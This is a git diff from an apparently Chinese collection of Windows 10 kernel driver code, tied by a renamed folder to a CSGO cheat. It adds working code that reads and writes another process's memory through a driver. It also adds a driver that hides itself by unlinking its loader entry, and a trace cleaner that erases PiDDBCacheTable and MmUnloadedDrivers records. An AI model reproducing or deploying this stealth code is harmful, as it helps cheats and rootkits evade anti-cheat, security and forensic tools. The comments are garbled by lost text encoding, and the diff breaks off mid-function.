DWORD Pid; //ҪдĽID + DWORD64 Address; //Ҫдĵַ + DWORD Size; //д + PBYTE Data; //Ҫд +}UserData, *PUserData; + +HANDLE hDriver = NULL; + +template +T read(DWORD pid, DWORD64 addr) +{ + T result{}; + + UserData buf{ 0 }; + buf.Pid = pid; + buf.Address = addr; + buf.Data = (PBYTE)&result; + buf.Size = sizeof(T); + + DWORD dwSize = 0; + DeviceIoControl(hDriver, Mdl_Read, &buf, sizeof(buf), &buf, sizeof(buf), &dwSize, NULL); + + return result; +} + +template +void write(DWORD pid, DWORD64 addr, T value) +{ + UserData buf{ 0 }; + buf.Pid = pid; + buf.Address = addr; + buf.Data = (PBYTE)&value; + buf.Size = sizeof(T); + + DWORD dwSize = 0; + DeviceIoControl(hDriver, Mdl_Write, &buf, sizeof(buf), &buf, sizeof(buf), &dwSize, NULL); +} + +void test() +{ + hDriver = CreateFileA(g_link, + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL); + if (hDriver == INVALID_HANDLE_VALUE) + { + printf("[-] ʧ %d \n", GetLastError()); + return; + } + + int data = read(14332, 0x88c000); + printf("[+] ȡ : %d \n", data); + + write(14332, 0x88c000, 30); + + CloseHandle(hDriver); +} + +int main(int argc, char* argv[]) +{ + test(); + + system("pause"); + return 0; +} \ No newline at end of file diff --git "a/end.CSGO\345\244\226\351\203\250\346\255\246\345\231\250\346\215\242\350\202\244/README.md" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/MiProcessLoaderEntry [\351\232\220\350\227\217\351\251\261\345\212\250]/README.md" similarity index 52% rename from "end.CSGO\345\244\226\351\203\250\346\255\246\345\231\250\346\215\242\350\202\244/README.md" rename to "[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/MiProcessLoaderEntry [\351\232\220\350\227\217\351\251\261\345\212\250]/README.md" index fc2580c..449577c 100644 --- "a/end.CSGO\345\244\226\351\203\250\346\255\246\345\231\250\346\215\242\350\202\244/README.md" +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/MiProcessLoaderEntry [\351\232\220\350\227\217\351\251\261\345\212\250]/README.md" @@ -1,10 +1,7 @@ - -## 还有一点小bug - # 截图展示

- +

diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/MiProcessLoaderEntry [\351\232\220\350\227\217\351\251\261\345\212\250]/demo.png" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/MiProcessLoaderEntry [\351\232\220\350\227\217\351\251\261\345\212\250]/demo.png" new file mode 100644 index 0000000..580596e Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/MiProcessLoaderEntry [\351\232\220\350\227\217\351\251\261\345\212\250]/demo.png" differ diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/MiProcessLoaderEntry [\351\232\220\350\227\217\351\251\261\345\212\250]/v0.5/HideDriver.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/MiProcessLoaderEntry [\351\232\220\350\227\217\351\251\261\345\212\250]/v0.5/HideDriver.c" new file mode 100644 index 0000000..b62efae --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/MiProcessLoaderEntry [\351\232\220\350\227\217\351\251\261\345\212\250]/v0.5/HideDriver.c" @@ -0,0 +1,187 @@ +#include "HideDriver.h" + +//ȡWin10ϵͳMiProcessLoaderEntryַ +MiProcessLoaderEntry GetMiProcessLoaderEntryAddress_Win10() +{ + //ҷʽ + //MmUnloadSystemImage -> MiUnloadSystemImage -> MiProcessLoaderEntry + + // + CHAR MmUnloadSystemImage_Code[] = "\x83\xCA\xFF" //or edx, 0FFFFFFFFh + "\x48\x8B\xCF" //mov rcx, rdi + "\x48\x8B\xD8" //mov rbx, rax + "\xE8"; //call ******* + + //ȡMmUnloadSystemImageַ,ΪĿʼַ + ULONG_PTR MmUnloadSystemImageAddress = 0; + { + UNICODE_STRING FuncName; + RtlInitUnicodeString(&FuncName, L"MmUnloadSystemImage"); + MmUnloadSystemImageAddress = (ULONG_PTR)MmGetSystemRoutineAddress(&FuncName); + if (MmUnloadSystemImageAddress == 0) + { + printfs("[Hide] : MmUnloadSystemImageַʧ"); + return NULL; + } + } + + //Ŀʼλúͽλ + ULONG_PTR StartAddress = MmUnloadSystemImageAddress; + ULONG_PTR StopAddress = MmUnloadSystemImageAddress + 0x500; + + ULONG_PTR MiUnloadSystemImageAddress = 0; + + //ʼMiUnloadSystemImageĵַ + while (StartAddress < StopAddress) + { + if (memcmp((VOID*)StartAddress, MmUnloadSystemImage_Code, strlen(MmUnloadSystemImage_Code)) == 0) + { + StartAddress += strlen(MmUnloadSystemImage_Code); + MiUnloadSystemImageAddress = *(LONG*)StartAddress + StartAddress + 4; + break; + } + ++StartAddress; + } + + if (MiUnloadSystemImageAddress == 0) + { + printfs("[Hide] : MiUnloadSystemImageַʧ"); + return NULL; + } + + //ٴĿʼλúͽλ + StartAddress = MiUnloadSystemImageAddress; + StopAddress = MiUnloadSystemImageAddress + 0x600; + + MiProcessLoaderEntry f_MiProcessLoaderEntry = 0; + + //ʼMiProcessLoaderEntryַ + while (StartAddress < StopAddress) + { + if (*(UCHAR*)StartAddress == 0xE8 && //call + *(UCHAR *)(StartAddress + 5) == 0x8B && *(UCHAR *)(StartAddress + 6) == 0x05) //mov eax, + { + StartAddress++; //call0xE8 + f_MiProcessLoaderEntry = (MiProcessLoaderEntry)(*(LONG*)StartAddress + StartAddress + 4); + break; + } + ++StartAddress; + } + + return f_MiProcessLoaderEntry; +} + +//ȡMiProcessLoaderEntryַ +MiProcessLoaderEntry GetMiProcessLoaderEntryAddress() +{ + //ַ + MiProcessLoaderEntry f_MiProcessLoaderEntry = NULL; + + //״̬ + NTSTATUS Status = STATUS_SUCCESS; + + //ȡǰϵͳ汾 + RTL_OSVERSIONINFOEXW Version; + RtlZeroMemory(&Version, sizeof(Version)); + Version.dwOSVersionInfoSize = sizeof(Version); + Status = RtlGetVersion(&Version); + if (!NT_SUCCESS(Status)) + { + printfs("[Hide] : ȡϵͳ汾ʧ"); + return f_MiProcessLoaderEntry; + } + + if (Version.dwMajorVersion == 10) + { + printfs("[Hide] : Win10ϵͳ"); + f_MiProcessLoaderEntry = GetMiProcessLoaderEntryAddress_Win10(); + } + else if (Version.dwMajorVersion == 6 && Version.dwMinorVersion == 3) + { + printfs("[Hide] : Win8.1ϵͳ"); + } + else if (Version.dwMajorVersion == 6 && Version.dwMinorVersion == 2 && Version.wProductType == VER_NT_WORKSTATION) + { + printfs("[Hide] : Win8ϵͳ"); + } + else if (Version.dwMajorVersion == 6 && Version.dwMinorVersion == 1 && Version.wProductType == VER_NT_WORKSTATION) + { + printfs("[Hide] : Win7ϵͳ"); + } + else printfs("[Hide] : δ֪ϵͳ"); + + return f_MiProcessLoaderEntry; +} + +//³ʼ +VOID Reinitialize(PDRIVER_OBJECT DriverObject, PVOID Context, ULONG Count) +{ + //Ϊ + UNREFERENCED_PARAMETER(Context); + UNREFERENCED_PARAMETER(Count); + + //ȻȡMiProcessLoaderEntryĵַ + MiProcessLoaderEntry f_MiProcessLoaderEntry = GetMiProcessLoaderEntryAddress(); + if (f_MiProcessLoaderEntry == 0) + { + printfs("[Hide] : MiProcessLoaderEntryַȡʧ"); + return; + } + printfs("[Hide] : MiProcessLoaderEntry -> %8x", f_MiProcessLoaderEntry); + + //Ϊժ֮Ͳ֧SEH + //SEHַǸݴϻȡַж쳣ĵַǷڸ + //Ϊûˣͻ + //ѧϰϮķñ˵ϵĵַ + { + //ȡBeep豸 + PDRIVER_OBJECT BeepObject = NULL; + UNICODE_STRING FuncName; + RtlInitUnicodeString(&FuncName, L"\\Driver\\beep"); + NTSTATUS Status = ObReferenceObjectByName(&FuncName, OBJ_CASE_INSENSITIVE, NULL, 0, *IoDriverObjectType, KernelMode, NULL, &BeepObject); + if (!NT_SUCCESS(Status)) + { + printfs("[Hide] : ȡBeepʧ"); + return; + } + + //滻 + PLDR_DATA_TABLE_ENTRY LdrEntry = (PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection; + LdrEntry->DllBase = BeepObject->DriverStart; + + ObDereferenceObject(BeepObject); + } + + //Լ + f_MiProcessLoaderEntry(DriverObject->DriverSection, 0); + + // + { + PLDR_DATA_TABLE_ENTRY ldr = (PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection; + InitializeListHead(&ldr->InLoadOrderLinks); + InitializeListHead(&ldr->InMemoryOrderLinks); + } + + //ƻ + DriverObject->DriverSection = NULL; + DriverObject->DriverStart = NULL; + DriverObject->DriverSize = 0; + DriverObject->DriverUnload = NULL; + DriverObject->DriverInit = NULL; + DriverObject->DeviceObject = NULL; + + printfs("[Hide] : سɹ"); +} + +// +NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegString) +{ + //δ + UNREFERENCED_PARAMETER(RegString); + + //³ʼ + IoRegisterDriverReinitialization(DriverObject, Reinitialize, NULL); + + printfs("[Hide] : سɹ"); + return STATUS_SUCCESS; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/MiProcessLoaderEntry [\351\232\220\350\227\217\351\251\261\345\212\250]/v0.5/HideDriver.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/MiProcessLoaderEntry [\351\232\220\350\227\217\351\251\261\345\212\250]/v0.5/HideDriver.h" new file mode 100644 index 0000000..41bfa93 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/MiProcessLoaderEntry [\351\232\220\350\227\217\351\251\261\345\212\250]/v0.5/HideDriver.h" @@ -0,0 +1,57 @@ +#pragma warning(disable : 4133) + +#include +#include + +/* Ը */ +#define printfs(x, ...) DbgPrintEx(0, 0, x, __VA_ARGS__) + +/* ȡϵͳģϢ */ +#define SystemModuleInformation 11 + +/* */ +typedef NTSTATUS(__fastcall *MiProcessLoaderEntry)(PVOID pDriverSection, BOOLEAN bLoad); +typedef NTSTATUS(*NtQuerySystemInformation)( + IN ULONG SystemInformationClass, + OUT PVOID SystemInformation, + IN ULONG_PTR SystemInformationLength, + OUT PULONG_PTR ReturnLength OPTIONAL); + +/* ϵͳģϢṹ */ +typedef struct _SYSTEM_MODULE_INFORMATION +{ + HANDLE Section; + PVOID MappedBase; + PVOID Base; + ULONG Size; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT PathLength; + CHAR ImageName[256]; +} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; + +/* LDRݽṹ */ +typedef struct _LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; +}LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + +/* Щ */ +NTSYSAPI NTSTATUS NTAPI ObReferenceObjectByName( + __in PUNICODE_STRING ObjectName, + __in ULONG Attributes, + __in_opt PACCESS_STATE AccessState, + __in_opt ACCESS_MASK DesiredAccess, + __in POBJECT_TYPE ObjectType, + __in KPROCESSOR_MODE AccessMode, + __inout_opt PVOID ParseContext, + __out PVOID* Object +); + +extern POBJECT_TYPE *IoDriverObjectType; \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/MiProcessLoaderEntry [\351\232\220\350\227\217\351\251\261\345\212\250]/v1.0/entry.cpp" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/MiProcessLoaderEntry [\351\232\220\350\227\217\351\251\261\345\212\250]/v1.0/entry.cpp" new file mode 100644 index 0000000..a4e777a --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/MiProcessLoaderEntry [\351\232\220\350\227\217\351\251\261\345\212\250]/v1.0/entry.cpp" @@ -0,0 +1,24 @@ +#include "entry.hpp" + +VOID re_initialize(PDRIVER_OBJECT DriverObject, PVOID Context, ULONG Count) +{ + // δ + UNREFERENCED_PARAMETER(Context); + UNREFERENCED_PARAMETER(Count); + + // + win10_kernel_driver_hide::driver_hide(DriverObject); +} + +/* */ +EXTERN_C NTSTATUS DriverEntry(PDRIVER_OBJECT object, PUNICODE_STRING reg) +{ + // δ + UNREFERENCED_PARAMETER(reg); + + // ³ʼ + IoRegisterDriverReinitialization(object, re_initialize, NULL); + + printfs("سɹ"); + return STATUS_SUCCESS; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/MiProcessLoaderEntry [\351\232\220\350\227\217\351\251\261\345\212\250]/v1.0/entry.hpp" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/MiProcessLoaderEntry [\351\232\220\350\227\217\351\251\261\345\212\250]/v1.0/entry.hpp" new file mode 100644 index 0000000..6f30011 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/MiProcessLoaderEntry [\351\232\220\350\227\217\351\251\261\345\212\250]/v1.0/entry.hpp" @@ -0,0 +1,130 @@ +#pragma once + +#include +#include + +// ʾ +#define printfs( format, ... ) DbgPrintEx( 0, 0, "[win10 kernel driver hide] : " format "\n", ##__VA_ARGS__ ) + +// MiProcessLoaderEntryָ +typedef NTSTATUS(__fastcall *f_MiProcessLoaderEntry)(PVOID pDriverSection, BOOLEAN bLoad); + +// LDR +typedef struct _LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; +}LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + +namespace win10_kernel_driver_hide +{ + // жǷwin10ϵͳ + EXTERN_C bool is_win10_system() + { + RTL_OSVERSIONINFOW os{ 0 }; + os.dwOSVersionInfoSize = sizeof(os); + if (NT_SUCCESS(RtlGetVersion(&os))) + { + printfs("Major : %ld", os.dwMajorVersion); + printfs("Minor : %ld", os.dwMinorVersion); + printfs("Platform : %ld", os.dwPlatformId); + printfs("Build : %ld", os.dwBuildNumber); + } + return os.dwMajorVersion == 10; + } + + // ȡMiProcessLoaderEntryָ + EXTERN_C f_MiProcessLoaderEntry get_MiProcessLoaderEntry_addr() + { + // ӿٶ + static f_MiProcessLoaderEntry res = nullptr; + if (res != nullptr) return res; + + // ȡMmUnloadSystemImageַ + UNICODE_STRING MmUnloadSystemImage_name; + RtlInitUnicodeString(&MmUnloadSystemImage_name, L"MmUnloadSystemImage"); + ULONG_PTR MmUnloadSystemImage_addr = (ULONG_PTR)MmGetSystemRoutineAddress(&MmUnloadSystemImage_name); + printfs("MmUnloadSystemImage address is : %x", MmUnloadSystemImage_addr); + if (MmUnloadSystemImage_addr == 0) return res; + + // ʼλúͽλ + ULONG_PTR begin_pos = MmUnloadSystemImage_addr; + ULONG_PTR end_pos = MmUnloadSystemImage_addr + 0x500; + + // sig + char MmUnloadSystemImage_sig[] = "\x83\xCA\xFF\x48\x8B\xCF\x48\x8B\xD8\xE8"; + ULONG_PTR MiUnloadSystemImage_addr = 0; + + // ʼ + while (begin_pos < end_pos) + { + // ڴƥ + if (memcmp((VOID*)begin_pos, MmUnloadSystemImage_sig, strlen(MmUnloadSystemImage_sig)) == 0) + { + begin_pos += strlen(MmUnloadSystemImage_sig); + MiUnloadSystemImage_addr = *(LONG*)begin_pos + begin_pos + 4; + break; + } + + // ൱ָƶ + begin_pos++; + } + + printfs("MiUnloadSystemImage address is : %x", MiUnloadSystemImage_addr); + if (MiUnloadSystemImage_addr == 0) return res; + + // ʼλúͽλ + begin_pos = MiUnloadSystemImage_addr; + end_pos = MiUnloadSystemImage_addr + 0x600; + + // ʼ + while (begin_pos < end_pos) + { + // ƥ + if (*(UCHAR*)begin_pos == 0xE8 + && *(UCHAR *)(begin_pos + 5) == 0x8B + && *(UCHAR *)(begin_pos + 6) == 0x05) + { + begin_pos++; + res = (f_MiProcessLoaderEntry)(*(LONG*)begin_pos + begin_pos + 4); + } + + // ָһ + begin_pos++; + } + + return res; + } + + // + EXTERN_C void driver_hide(PDRIVER_OBJECT object) + { + // ϵͳ汾 + if (is_win10_system() == false) return; + + // ָ + f_MiProcessLoaderEntry function = get_MiProcessLoaderEntry_addr(); + if (function == nullptr) return; + + // + function(object->DriverSection, 0); + + // + PLDR_DATA_TABLE_ENTRY ldr = (PLDR_DATA_TABLE_ENTRY)object->DriverSection; + InitializeListHead(&ldr->InLoadOrderLinks); + InitializeListHead(&ldr->InMemoryOrderLinks); + + // ƻ + object->DriverUnload = NULL; + object->DriverSection = NULL; + object->DriverStart = NULL; + object->DriverSize = NULL; + object->DriverInit = NULL; + object->DeviceObject = NULL; + + printfs("سɹ"); + } +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Name Pipe [\345\221\275\345\220\215\347\256\241\351\201\223\351\200\232\344\277\241]/README.md" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Name Pipe [\345\221\275\345\220\215\347\256\241\351\201\223\351\200\232\344\277\241]/README.md" new file mode 100644 index 0000000..cf4bdc1 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Name Pipe [\345\221\275\345\220\215\347\256\241\351\201\223\351\200\232\344\277\241]/README.md" @@ -0,0 +1,2 @@ +# 等待更新... + diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Share Memory [\345\205\261\344\272\253\345\206\205\345\255\230\351\200\232\344\277\241]/README.md" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Share Memory [\345\205\261\344\272\253\345\206\205\345\255\230\351\200\232\344\277\241]/README.md" new file mode 100644 index 0000000..cf4bdc1 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Share Memory [\345\205\261\344\272\253\345\206\205\345\255\230\351\200\232\344\277\241]/README.md" @@ -0,0 +1,2 @@ +# 等待更新... + diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Socket [\345\245\227\346\216\245\345\255\227\351\200\232\344\277\241]/README.md" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Socket [\345\245\227\346\216\245\345\255\227\351\200\232\344\277\241]/README.md" new file mode 100644 index 0000000..cf4bdc1 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Socket [\345\245\227\346\216\245\345\255\227\351\200\232\344\277\241]/README.md" @@ -0,0 +1,2 @@ +# 等待更新... + diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Trace Cleaner [\346\270\205\351\231\244\350\267\237\350\270\252]/Main.cpp" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Trace Cleaner [\346\270\205\351\231\244\350\267\237\350\270\252]/Main.cpp" new file mode 100644 index 0000000..ca92331 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Trace Cleaner [\346\270\205\351\231\244\350\267\237\350\270\252]/Main.cpp" @@ -0,0 +1,43 @@ +#include "clean.hpp" + +/* + : ļ/жؼ¼,ֹĸٷ +ϵͳ : Win10 x64 1809 +*/ + +extern "C" VOID DriverUnload(PDRIVER_OBJECT driver_object) +{ + // δ + UNREFERENCED_PARAMETER(driver_object); + + log("[clear] : ж"); +} + +extern "C" NTSTATUS DriverEntry(PDRIVER_OBJECT driver_object, PUNICODE_STRING registry_path) +{ + // δ + UNREFERENCED_PARAMETER(driver_object); + UNREFERENCED_PARAMETER(registry_path); + + // жغ + driver_object->DriverUnload = DriverUnload; + + // PiddbCacheTable + UNICODE_STRING driver_name = RTL_CONSTANT_STRING(L"ReadWriteDriver.sys"); + if (clear::clearCache(driver_name, 0x5F7884B1) == STATUS_SUCCESS) + log("[clear] : PiddbCacheTableɹ"); + else + log("[clear] : PiddbCacheTableʧ"); + + // mmUnloadedDrivers + if (FindMmDriverData() == STATUS_SUCCESS) + { + if (clear::ClearUnloadedDriver(&driver_name, true) == STATUS_SUCCESS) + log("[clear] : mmUnloadedDriversɹ"); + else + log("[clear] : mmUnloadedDriversʧ"); + } + else log("[clear] : mmUnloadedDriversʧ"); + + return STATUS_SUCCESS; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Trace Cleaner [\346\270\205\351\231\244\350\267\237\350\270\252]/clean.hpp" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Trace Cleaner [\346\270\205\351\231\244\350\267\237\350\270\252]/clean.hpp" new file mode 100644 index 0000000..b62aa30 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Trace Cleaner [\346\270\205\351\231\244\350\267\237\350\270\252]/clean.hpp" @@ -0,0 +1,459 @@ +#pragma once + +#include "struct.h" + +// Ϣ +#define log(format, ...) DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, format, __VA_ARGS__) + +// ڴTag +#define BB_POOL_TAG 'enoB' + +// PIDDBڴǩ +UCHAR PiDDBLockPtr_sig[] = "\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x4C\x8B\x8C"; +UCHAR PiDDBCacheTablePtr_sig[] = "\x66\x03\xD2\x48\x8D\x0D"; + +//you can also put the sig within the function, but some of the sig ends up on the stack and in the .text section, and causes issues when zeroing the sig memory. + +// Եַת +EXTERN_C PVOID ResolveRelativeAddress( + _In_ PVOID Instruction, + _In_ ULONG OffsetOffset, + _In_ ULONG InstructionSize) +{ + ULONG_PTR Instr = (ULONG_PTR)Instruction; + LONG RipOffset = *(PLONG)(Instr + OffsetOffset); + PVOID ResolvedAddr = (PVOID)(Instr + InstructionSize + RipOffset); + + return ResolvedAddr; +} + +// ڴģʽƥ +NTSTATUS BBSearchPattern( + IN PCUCHAR pattern, + IN UCHAR wildcard, + IN ULONG_PTR len, + IN const VOID* base, + IN ULONG_PTR size, + OUT PVOID* ppFound, + int index = 0) +{ + if (ppFound == NULL || pattern == NULL || base == NULL) + return STATUS_ACCESS_DENIED; //STATUS_INVALID_PARAMETER; + + int cIndex = 0; + for (ULONG_PTR i = 0; i < size - len; i++) + { + BOOLEAN found = TRUE; + for (ULONG_PTR j = 0; j < len; j++) + { + if (pattern[j] != wildcard && pattern[j] != ((PCUCHAR)base)[i + j]) + { + found = FALSE; + break; + } + } + + if (found != FALSE && cIndex++ == index) + { + *ppFound = (PUCHAR)base + i; + return STATUS_SUCCESS; + } + } + + return STATUS_NOT_FOUND; +} + +PVOID g_KernelBase = NULL; +ULONG g_KernelSize = 0; + +// ȡַ +PVOID GetKernelBase(OUT PULONG pSize) +{ + NTSTATUS status = STATUS_SUCCESS; + ULONG bytes = 0; + PRTL_PROCESS_MODULES pMods = NULL; + PVOID checkPtr = NULL; + UNICODE_STRING routineName; + + // Already found + // һβҹ,ֱӷؽ + if (g_KernelBase != NULL) + { + if (pSize) + *pSize = g_KernelSize; + return g_KernelBase; + } + + // NtOpenFileĵַ + RtlUnicodeStringInit(&routineName, L"NtOpenFile"); + checkPtr = MmGetSystemRoutineAddress(&routineName); + if (checkPtr == NULL) + { + log("[clear] : NtOpenFileַʧ"); + return NULL; + } + + // Protect from UserMode AV + // ȡС + status = ZwQuerySystemInformation(SystemModuleInformation, 0, bytes, &bytes); + if (bytes == 0) + { + log("[clear] : Invalid SystemModuleInformation size"); + return NULL; + } + + // ڴռ + pMods = (PRTL_PROCESS_MODULES)ExAllocatePoolWithTag(NonPagedPool, bytes, BB_POOL_TAG); + RtlZeroMemory(pMods, bytes); + + // ȡģϢ + status = ZwQuerySystemInformation(SystemModuleInformation, pMods, bytes, &bytes); + if (NT_SUCCESS(status)) + { + PRTL_PROCESS_MODULE_INFORMATION pMod = pMods->Modules; + + // ģ + for (ULONG i = 0; i < pMods->NumberOfModules; i++) + { + // System routine is inside module + // ϵͳģ䶨λ,ȷNtOpenFileڵһģ + if (checkPtr >= pMod[i].ImageBase + && checkPtr < (PVOID)((PUCHAR)pMod[i].ImageBase + pMod[i].ImageSize)) + { + g_KernelBase = pMod[i].ImageBase; + g_KernelSize = pMod[i].ImageSize; + if (pSize) + *pSize = g_KernelSize; + break; + } + } + } + + // ͷڴ + if (pMods) + ExFreePoolWithTag(pMods, BB_POOL_TAG); + + log("g_KernelBase: %x", g_KernelBase); + log("g_KernelSize: %x", g_KernelSize); + return g_KernelBase; +} + +// ɨ +NTSTATUS BBScanSection( + IN PCCHAR section, + IN PCUCHAR pattern, + IN UCHAR wildcard, + IN ULONG_PTR len, + OUT PVOID* ppFound, + PVOID base = nullptr) +{ + // ȵõָģַ + if (ppFound == NULL) return STATUS_ACCESS_DENIED; //STATUS_INVALID_PARAMETER + if (nullptr == base) base = GetKernelBase(&g_KernelSize); + if (base == nullptr) return STATUS_ACCESS_DENIED; //STATUS_NOT_FOUND; + + // ݻַPEļͷָ + PIMAGE_NT_HEADERS64 pHdr = RtlImageNtHeader(base); + if (!pHdr) + { + log("[clear] : ҵַЧ"); + return STATUS_ACCESS_DENIED; // STATUS_INVALID_IMAGE_FORMAT; + } + + // ҵָ + PIMAGE_SECTION_HEADER pFirstSection = (PIMAGE_SECTION_HEADER)((uintptr_t)&pHdr->FileHeader + pHdr->FileHeader.SizeOfOptionalHeader + sizeof(IMAGE_FILE_HEADER)); + + // + for (PIMAGE_SECTION_HEADER pSection = pFirstSection; + pSection < pFirstSection + pHdr->FileHeader.NumberOfSections; + pSection++) + { + ANSI_STRING s1, s2; + RtlInitAnsiString(&s1, section); + RtlInitAnsiString(&s2, (PCCHAR)pSection->Name); + + // + if (RtlCompareString(&s1, &s2, TRUE) == 0) + { + // ڴģʽƥ + PVOID ptr = NULL; + NTSTATUS status = BBSearchPattern(pattern, wildcard, len, (PUCHAR)base + pSection->VirtualAddress, pSection->Misc.VirtualSize, &ptr); + if (NT_SUCCESS(status)) + { + *(PULONG64)ppFound = (ULONG_PTR)(ptr); //- (PUCHAR)base + return status; + } + //we continue scanning because there can be multiple sections with the same name. + } + } + + return STATUS_ACCESS_DENIED; //STATUS_NOT_FOUND; +} + +// λPIDDB +extern "C" bool LocatePiDDB(PERESOURCE* lock, PRTL_AVL_TABLE* table) +{ + PVOID PiDDBLockPtr = nullptr, PiDDBCacheTablePtr = nullptr; + if (!NT_SUCCESS(BBScanSection("PAGE", PiDDBLockPtr_sig, 0, sizeof(PiDDBLockPtr_sig) - 1, reinterpret_cast(&PiDDBLockPtr)))) + { + log("[clear] : Unable to find PiDDBLockPtr sig."); + return false; + } + + if (!NT_SUCCESS(BBScanSection("PAGE", PiDDBCacheTablePtr_sig, 0, sizeof(PiDDBCacheTablePtr_sig) - 1, reinterpret_cast(&PiDDBCacheTablePtr)))) + { + log("[clear] : Unable to find PiDDBCacheTablePtr sig"); + return false; + } + + // ƫ3 + PiDDBCacheTablePtr = PVOID((uintptr_t)PiDDBCacheTablePtr + 3); + + // ȻԵĵַ + *lock = (PERESOURCE)(ResolveRelativeAddress(PiDDBLockPtr, 3, 7)); + *table = (PRTL_AVL_TABLE)(ResolveRelativeAddress(PiDDBCacheTablePtr, 3, 7)); + + return true; +} + +PMM_UNLOADED_DRIVER MmUnloadedDrivers; +PULONG MmLastUnloadedDriver; + +// ƥ +BOOLEAN bDataCompare(const BYTE* pData, const BYTE* bMask, const char* szMask) +{ + for (; *szMask; ++szMask, ++pData, ++bMask) + if (*szMask == 'x' && *pData != *bMask) + return 0; + + return (*szMask) == 0; +} + +// ģʽ +UINT64 FindPattern(UINT64 dwAddress, UINT64 dwLen, BYTE *bMask, char * szMask) +{ + for (UINT64 i = 0; i < dwLen; i++) + if (bDataCompare((BYTE*)(dwAddress + i), bMask, szMask)) + return (UINT64)(dwAddress + i); + + return 0; +} + +// ж +NTSTATUS FindMmDriverData(VOID) +{ + /* + * nt!MmLocateUnloadedDriver: + * fffff801`51c70394 4c8b15a57e1500 mov r10,qword ptr [nt!MmUnloadedDrivers (fffff801`51dc8240)] + * fffff801`51c7039b 4c8bc9 mov r9 ,rcx + */ + // жָ + PVOID MmUnloadedDriversInstr = (PVOID)FindPattern((UINT64)g_KernelBase, g_KernelSize, + (BYTE*)"\x4C\x8B\x15\x00\x00\x00\x00\x4C\x8B\xC9", + "xxx????xxx" + ); + + /* + * nt!MiRememberUnloadedDriver+0x59: + * fffff801`5201a4c5 8b057ddddaff mov eax,dword ptr [nt!MmLastUnloadedDriver (fffff801`51dc8248)] + * fffff801`5201a4cb 83f832 cmp eax,32h + */ + // һжָ + PVOID MmLastUnloadedDriverInstr = (PVOID)FindPattern((UINT64)g_KernelBase, g_KernelSize, + (BYTE*)"\x8B\x05\x00\x00\x00\x00\x83\xF8\x32", + "xx????xxx" + ); + + // ûвҵַ + if (MmUnloadedDriversInstr == NULL || MmLastUnloadedDriverInstr == NULL) + return 